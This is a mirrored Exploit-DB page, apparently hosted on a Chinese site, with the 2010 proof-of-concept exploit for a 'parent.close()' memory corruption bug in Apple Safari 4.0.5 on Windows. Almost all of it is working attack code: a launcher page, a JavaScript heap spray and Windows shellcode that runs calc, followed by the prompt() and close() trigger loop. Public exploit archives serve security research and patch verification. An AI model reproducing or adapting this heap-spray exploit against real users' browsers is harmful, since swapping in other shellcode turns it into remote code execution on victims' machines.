Apple Safari 4.0.5 – ‘parent.close()’ Memory Corruption Code Execution - 体验盒子

作者： Krystian Kloskowski

日期： 2010-05-11

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/12573/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

<!--

Apple Safari 4.0.5 parent.close() (memory corruption) 0day Code Execution Exploit

Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>

Tested on: Apple Safari 4.0.5 / XP SP2 Polish

Shellcode: Windows Execute Command (calc)

Local: Yes

Remote: Yes (POPUP must be enabled [Ctrl+Shift+K])

Just for fun ;)

-->

<!---------------------------------REMOTE.htm---------------------------------

window.open("0day.htm"); //parent.close() activation

self.close();

</script>

-----------------------------------REMOTE.htm-------------------------------->

function make_buf(payload, len) {

while(payload.length < (len * 2)) payload += payload;

payload = payload.substring(0, len);

return payload;

}

var shellcode = unescape("%u9090%u9090"+ //Windows Execute Command (calc)

"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+

"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+

"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+

"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+

"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+

"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+

"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");

bigblock = unescape("%u0D0D%u0D0D");

headersize = 20;

slackspace = headersize+shellcode.length

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (i=0;i<1000;i++) memory[i] = block + shellcode;

var a = parent;

var buf = make_buf("AAAA", 10000);

for(var i = 0; i <= 1; i++) {

a.prompt(alert);

a.prompt(buf);

a.close();

}

</script>